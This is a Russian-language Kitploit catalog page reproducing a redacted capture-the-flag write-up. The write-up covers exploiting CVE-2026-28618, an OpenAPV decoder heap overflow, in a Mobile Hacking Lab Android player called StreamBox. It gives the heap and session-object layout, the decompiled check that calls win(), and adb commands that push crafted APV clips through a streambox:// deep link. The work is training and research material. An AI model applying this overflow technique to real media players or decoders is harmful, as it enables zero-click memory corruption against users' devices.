Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
streambox-cve-2026-28618 — Заметки с сокращениями по CVE-2026-28618 / лаборатория StreamBox APV — запись в кучу в объект сессии через несоответствие высоты FRAME | Kitploit
Инструменты/GitHubGitHub/raafatabualazm/streambox-cve-2026-28618
Безопасность AndroidКриминалистика памятиАнализ уязвимостейЭксплуатацияОбратная инженерияМобильная безопасностьСтатьи и ИсследованияОбучение и ОбразованиеЭксплуатация Бинарных Файлов

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubraafatabualazm/streambox-cve-2026-28618

streambox-cve-2026-28618

Заметки с сокращениями по CVE-2026-28618 / лаборатория StreamBox APV — запись в кучу в объект сессии через несоответствие высоты FRAME

Репозиторий
1411 месяц назадЕщё не проверено

Zero-click APV в плеере, который автоматически воспроизводит общие клипы

CVE-2026-28618 в StreamBox — тот же класс декодера OpenAPV, что и CVE-2026-0006, превращённый в запись в кучу по объекту сессии.

Этот репозиторий — публичный отредактированный разбор: флаги, токены экземпляров и HMAC-ключ опущены. APK и make_clip.py принадлежат Mobile Hacking Lab; здесь они не зеркалируются.

Цепочка атаки

Что мы решили

StreamBox — небольшой APV-плеер. APV — это Advanced Professional Video (RFC 9924), свободный от роялти кодек Samsung, того же семейства, что поставлялся в медиастеке Android. Суть лаборатории в одном предложении: плеер воспроизводит общие клипы по прибытии.

SEND, VIEW или streambox://play?url=… копирует файл в files/incoming.apv, и запускается NativeDec.loadClip().

Ошибка — CVE-2026-28618: переполнение буфера в куче в dec_frm_prepare из OpenAPV. Тот же класс декодера, что и CVE-2026-0006.

Лаборатория упаковывает эту запись в виде игры. Переполните жёстко заданную плоскость Y размером 64×64, разрушьте соседний объект сессии, перенаправьте teardown в handlers[2], и Worker вернёт флаг.

Набор — два zip-архива из лаборатории:

  • streambox-lab.apk.zip — плеер
  • make_clip.py.zip — как были собраны клипы библиотеки 64×64 и битовый поток, который вы переполняете

Плеер (Android 14 x86_64 AVD + ndk_translation)

ARM64 system-image QEMU из Android Studio плохо подходит для хоста x86-64. Этот APK — arm64-v8a / minSdk 34. x86_64 API 34 AVD с libndk_translation.so (abilist=x86_64,arm64-v8a) устанавливает и запускает его.

Библиотека StreamBox на AVD

Sunset Drive воспроизводится, 64×64, loadClip → 0

PlayerActivity делает:

NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path);   // win() runs here if handler==2
// WebView later: Android.openTier(status) → PremiumActivity

loadClip возвращает 1 (premium / session smash) или 2 (win() уже выполнен). openTier только выполняет навигацию по UI.

POST /api/unlock
{
  "instance_id": <from POST /api/instance>,
  "tier": 3,
  "session_hex": hex(sessionProof[64]),
  "ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}

При загрузке приложение уже выполнило POST /api/instance и NativeDec.setPlatinumToken(token). Именно этот токен переполнение должно записать в сессию.

Куча: 64×64 Y, затем сессия

Y-плоскость размером 0x2000 байт, объект сессии сразу после неё, дополнительные строки FRAME переполняются в magic/token/handler

arena   = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F;  /* bytes: "OBMAERTS" */

oapv_imgb_t жёстко задан как 64×64, 10-битный YUV. Плоскость 0 (Y) начинается с arena+0. 64 × 64 × 2 = 0x2000. Сессия — это arena + 0x2000 + pad. pad — это SB_SESS_PAD или выровненный по 0x400 младший полубайт rand() после srand(getpid()^time()). На AVD Sunset Drive зафиксировал session-arena = 0x3800 (pad = 0x1800). Дополнительный тайл 64×128 занимает 0x2000 байт, поэтому при таких значениях pad он всё равно достигает сессии.

oapvd_decode() записывает данные с шириной/высотой FRAME PBU. FRAME выше 64 записывает 10-битные сэмплы прямо в session.

После декодирования:

if (session->token == g_token) {        /* +0x08 */
    if (session->handler <= 2)          /* +0x0c */
        g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
    g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

sessionProof layout: smash magic, match token, handler index 2

make_clip.py — это путь клипа

Генератор лаборатории создаёт 32 кадра 64×64 RGB, преобразует их в yuv422p10le и вызывает эталонный кодировщик OpenAPV:

oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1

Каждый встроенный клип — это 32 единицы доступа FRAME 64×64:

[u32be au_size] ['aPv1' + PBUs] × 32

Плеер выделяет 64×64. Тайлы APV имеют размер 64×64.

qemu-user (qemu-aarch64 + Android 10 linker64) и AVD дают согласованный результат:

Клипqemu-user streambox_loadAVD loadClip
Библиотечный клип 64×6400 (premium_hit=0)
Высота заголовка 64→72SIGABRT oapvd_vlc_ac_coefSIGABRT, тот же assert, процесс завершается (главный экран после сбоя)
Реальное кодирование 64×128 (два тайла, QP 0)11 premium_hit=1 → SESSION ANOMALY
python3 encode_overflow.py -o overflow_64x128.apv --qp 0
adb reverse tcp:8765 tcp:8765
# python3 -m http.server 8765
adb shell am start -a android.intent.action.VIEW \
  -d 'streambox://play?url=http://127.0.0.1:8765/overflow_64x128.apv' \
  -n com.mobilehackinglab.streambox/.MainActivity

64×128 общий клип: АНОМАЛИЯ СЕССИИ (переполнение достигло сессии, несовпадение токена)

Второе кодирование, замкнутое по реконструкции энкодера, внедряет живой access token и обработчик 2 (вход Y≈4 реконструируется как 2). Повторите этот 16-байтовый префикс по всей плоскости Y размером 64×128, чтобы заполнение не имело значения.

# token from the home footer: "access token 0x...."
python3 encode_targeted.py --token 0xTOKEN --handler 2 -o win.apv
python3 -m http.server 8765
adb reverse tcp:8765 tcp:8765
adb shell am start -a android.intent.action.VIEW \
  -d 'streambox://play?url=http://127.0.0.1:8765/win.apv' \
  -n com.mobilehackinglab.streambox/.MainActivity

На AVD:

gadget executed: handlers[2]() -> win()
loadClip(...) -> 2 (premium_hit=0 platinum_hit=1)
openTier(2)

SESSION COMPROMISED — флаг скрыт; Worker освободил его из повреждённого sessionProof

win() выполнился внутри loadClip. openTier(2) лишь открыл PremiumActivity, который отправил это доказательство.

Настройка для qemu-user (не ARM64-эмулятора Android Studio): см. комментарии в encode_overflow.py и qemu-harness/README.md в лаборатории.

Связанный публичный PoC для родительского класса ошибок: mobilehackinglab/CVE-2026-0006-openapv-poc.

Докажите запись

Python urllib получает Cloudflare 1010. curl с мобильным UA работает.

Worker отклоняет оригинальную магию с no overflow evidence: session magic intact. ASCII STREAMBO (отличающиеся байты от LE uint64) засчитывается как запись.

Скачать инструмент